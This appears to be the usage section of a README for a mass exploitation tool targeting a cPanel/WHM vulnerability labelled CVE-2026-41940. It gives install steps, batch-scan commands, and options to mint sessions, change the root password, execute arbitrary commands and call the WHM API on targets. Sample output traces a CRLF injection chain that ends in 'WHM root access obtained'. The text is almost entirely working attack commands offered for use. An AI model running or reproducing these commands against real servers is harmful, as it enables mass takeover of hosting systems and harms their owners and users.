Python 3.7+
pip install requests urllib3

git clone https://github.com/Lutfifakee-Project/CVE-2026-41940.git
cd CVE-2026-41940
pip install -r requirements.txt

# Test with single target
python cpanel-mass-checker.py -u https://your-target.com:2087 -hostname your-target.com

# Single target
python cpanel-mass-checker.py -u https://target.com:2087

# Batch scan
python cpanel-mass-checker.py -f targets.txt -c 20

# Batch scan with port scanning
python cpanel-mass-checker.py -f targets.txt -c 20 --scan-ports -o results.txt

# Generate session URL
python cpanel-mass-checker.py -u https://target.com:2087 -session -hostname target.com

# Change root password
python cpanel-mass-checker.py -u https://target.com:2087 -passwd "NewPass123!" -hostname target.com

# Execute command (RCE)
python cpanel-mass-checker.py -u https://target.com:2087 -cmd "id" -hostname target.com

# WHM API call
python cpanel-mass-checker.py -u https://target.com:2087 -api listaccts -hostname target.com

# Lines starting with # are comments
https://target1.com:2087
target2.com
192.168.1.100
cpanel.example.com:2083

[*] Total: 4 targets (after dedup), concurrency: 10
[*] Port scanning: ON (2082, 2083, 2086, 2087)
------------------------------------------------------------
[2/4] [VULN] https://example.com:2087 - token=/cpsess1048057410
[1/4] [SAFE] safe-target.com
------------------------------------------------------------
[*] Scan completed. Vulnerable: 1
[+] Results saved to result.txt

[0] hostname = example.com
[1] minting a preauth session...
[2] sending the CRLF injection...
[3] firing do_token_denied...
[4] verifying WHM root access...
[+] WHM root access obtained!
[+] Session URL:
    https://example.com:2087/cpsessXXXXXXX/